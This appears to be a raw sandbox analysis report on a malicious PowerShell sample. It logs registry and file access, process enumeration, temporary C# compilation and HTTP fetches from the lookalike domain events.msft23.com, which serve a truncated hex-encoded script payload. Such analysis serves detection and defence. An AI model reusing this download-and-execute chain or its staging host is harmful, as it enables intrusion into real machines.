940000000a00000000000000ab3f00000200000000000000feffffffffffffff40000000c3010000f09a34f9c301000006000000000000000300000000000000901898e3c30100002014b2e0c30100000000000000000000c4671571f87f000010000000000000001000000000000000030000000000000070ccaacd9b0000001000000000000000a169c175f87f000000000000 (UID: 00000000-00006528)36:T9f1,Process "csc.exe" (UID: 00000000-00003020) was launched with new environment variables: "computername="DESKTOP-FVVF82A", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", homepath="\Users\%OSUSER%", sessionname="Console", tmp="%LOCALAPPDATA%\Temp", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", sslkeylogfile="%TEMP%\sslkey.txt", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", userprofile="C:\Users\%OSUSER%", number_of_processors="8", programfiles="C:\Program Files", processor_level="6", userdnsdomain="DESKTOP-FVVF82A", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", logonserver="%HOSTNAME%", nvm_symlink="%PROGRAMFILES%\nodejs", systemroot="C:\WINDOWS", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", programdata="C:\ProgramData", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", prompt="$P$G", _clrrestrictsecattributes="1", systemdrive="C:", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00003020) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, SystemDrive, USERNAME, ProgramFiles(x86), CURL_CA_BUNDLE, PATHEXT, PROCESSOR_ARCHITEW6432, ProgramData, ProgramW6432, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, PROMPT, OneDrive, APPDATA, CommonProgramFiles, Path, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, SystemRoot, TEMP, HOMEDRIVE, USERPROFILE, TMP, CommonProgramFiles(x86), NUMBER_OF_PROCESSORS"37:Ta9f,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "")38:T459,"powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\b5ba37e1558ced178a99011a1d659b52\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\e43dd9c73ab5615e461bf5109c3facd6\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\0d59b0e237d7519417de10cd84bda4e7\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\system.management.automation.ni.dll.aux"39:T97b,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YZLRSJE303MEY16WCWDC.TEMP" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YZLRSJE303MEY16WCWDC.temp" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL.CONSOLEHOST" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SYSTEM.MANAGEMENT.AUTOMATION" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL.COMMANDS.UTILITY" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL.SECURITY" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.WSMAN.MANAGEMENT"3a:Taef,"GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: events.msft23.com Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Date: Thu 23 Apr 2026 08:57:01 GMT Content-Length: 0 Connection: keep-alive Location: https://events.msft23.com/1 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=THcHAyjb6D0d7kfRXSeacb4GIB86%2BbI5Ndo2BOyWBVRLQ%2BMeAjxc6FrfCbfhtpJOqNDG%2BF42k5aNHADVoyfWyaP1i9u%2FbrFuaoR%2F4qSQypfJHJb584jqelYqkUddMehK4ejGeQ%3D%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfEdge;dur=3 cfOrigin;dur=0 Server: cloudflare CF-RAY: 9f0ba889de5c2364-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: events.msft23.com Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Date: Thu 23 Apr 2026 08:57:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Location: https://events.msft23.com/run/dIG1bXo3 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=13 cfOrigin;dur=388 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=nPIZAHOPjB44tvEKBgJyfmT5Ko06BnL2Y7G34jZ89IVchGuObQHDVOjAp98k6dqIKnYRfdJotBeGMghRdn2n8O0Jf0Vusxf%2Bks9M87thX5JT3qHOKYOMi6WrAFwuI%2Bnp5rH1vw%3D%3D"}]} CF-RAY: 9f0ba88a6999eb29-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C626F6479....... "GET /run/dIG1bXo3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: events.msft23.com" Response ==> HTTP/1.1 200 OK Date: Thu 23 Apr 2026 08:57:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1299894 Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=9 cfOrigin;dur=721 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=cktk4DUQDnFBTEZR%2FoU2xaRjjyYaSk5IGUo5Ajp2xdXS0FGcI9q50acXIH9e8cMowfjbKwgMCyQtVjpxEW6cFuCsWBZTgYjtmv3OljrYU841ddF9zQhincWicWW8Qw%2BHK0m1dg%3D%3D"}]} CF-RAY: 9f0ba88d5d8beb29-SJC alt-svc: h3=":443"; ma=86400 with response body ==>246E77715547634F6772524438546C757874784D203D205B5265666C656374696F6E2E417373656D626C795D3A3A4C6F6164576974685061727469616C4E616D.......3b:T74e,"powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1158124177 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1158132866 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1159193407 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1159202061 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1161929488 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1161938078 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1162182105 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1162190783 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1162895555 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1163938940 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1163947396 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1164376312 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1164386637 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1165886266 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1165896231 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1167404544 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1167413524 [PID: 6528] "powershell.exe" queried SystemProcessInformation at 00000000-00006528-00000C15-1172507812 [PID: 6528]3c:T10dd,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8043c4f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "003fc4f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "`?" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "20c3c5f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a0c4c5f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80c6c5f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "104ac4f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c09bc7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "709dc7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "90a1c7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80a5c7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "90a4c7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "50a5c7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "00a4c7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "609bc7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0a2c7f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0cbccf8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "P[" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "805bc9f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3dd2354b0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a05cc9f8c3010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1c3f8c62960" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d09dc7f8c3010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"}3d:T7cc,"powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NATION") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "QPS-LATN-X-SH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "QPS-LATN-X-SH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000901") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: "00000901") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "QPS-PLOC") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "QPS-PLOC") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000501") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: "00000501") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "QPS-PLOCA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "QPS-PLOCA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "000005FE") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: "000005FE") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "QPS-PLOCM") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "QPS-PLOCM") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "000009FF")3e:Tb2c,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS"; Key: "SECURITYPROVIDERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "NAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "COMMENT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "CAPABILITIES"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "RPCID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "TYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "TOKENSIZE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS\MICROSOFT SSL PROTOCOL PROVIDER"; Key: "ENABLETLSEXTERNALALGORITHMS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SCHANNEL"; Key: "USERCONTEXTLOCKCOUNT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SCHANNEL"; Key: "USERCONTEXTLISTCOUNT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "PINRULESLOGDIR"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "PINRULES"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESLASTSYNCTIME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESENCODEDCTL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "EA9E8155-5042-5537-0B73-8C0E6B53F398"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\ENVIRONMENT"; Key: "__PSLOCKDOWNPOLICY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "")3f:T5be,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YZLRSJE303MEY16WCWDC.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF20e785.TMP" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_jx155zrp.ylc.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ej3wxqz2.whk.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xusq4ngo\xusq4ngo.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xusq4ngo\xusq4ngo.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xusq4ngo\xusq4ngo.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xusq4ngo\xusq4ngo.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xusq4ngo\XUSQ4NGO.PDB" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xusq4ngo\xusq4ngo.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\xusq4ngo\xusq4ngo.0.cs" with delete access40:T48c,Observed system executable string:"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsSystem32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsSystem32WINDOW~1=K$uv1.0m=K$u.=Kgm 